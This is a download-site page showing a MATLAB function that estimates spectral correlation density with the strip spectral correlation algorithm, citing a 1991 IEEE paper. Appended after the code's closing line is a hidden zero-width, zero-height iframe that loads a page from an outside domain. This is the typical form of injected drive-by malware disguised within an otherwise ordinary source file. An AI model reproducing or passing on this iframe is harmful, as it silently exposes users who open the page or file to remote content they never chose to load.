⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 strip_spectral_correlation.m

📁 谱相关时域平滑算法及其快速算法FAM、SSCA
💻 M
字号:
function S=strip_spectral_correlation(x,y,N,a,g)%% STRIP_SPECTRAL_CORRELATION%              estimate the spectral correlation density using the strip%              spectral correlation%              N.B. Produces a skewed SCDF in S whith axes%                   f+alpha/2, alpha % %              Reference:%              Roberts R. S., Brown, W. A. and Loomis, H. H.%              "Computationally efficient algorithms for cyclic%              spectral analysis" IEEE Signal Processing Magazine%              8(2) pp38-49 April 1991%%              Input parameters are:%              x,y signals%              N   length of time window used for estimating frequency %                  segments (should be power of 2)%              a   window used for smoothing segments%              g   window for smoothing correlation%                           % USAGE        S=strip_spectral_correlation(x,y,N,a,g)%%              e.g s=strip_spectral_correlation(s1,s1,64,'hamming','hamming')lx=length(x);ly=length(y);ln=lx-N;if (ln~=ly)  warning('Length y is not Length x+N, some data will not be used')enda=feval(a,N)';g=feval(g,ln)';g=g/sum(g);a=a/sum(a);X=zeros(N,ln);for i=1:ln  n_r=(1:N)+i-1;  X(:,i)=fftshift(fft(a.*x(n_r)))';	endl=min([ly ln]);S=zeros(N,ln);for f=1:N   S(2*f,:)=fftshift(fft(g.*X(f,1:l).*y(1:l)));end  <iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -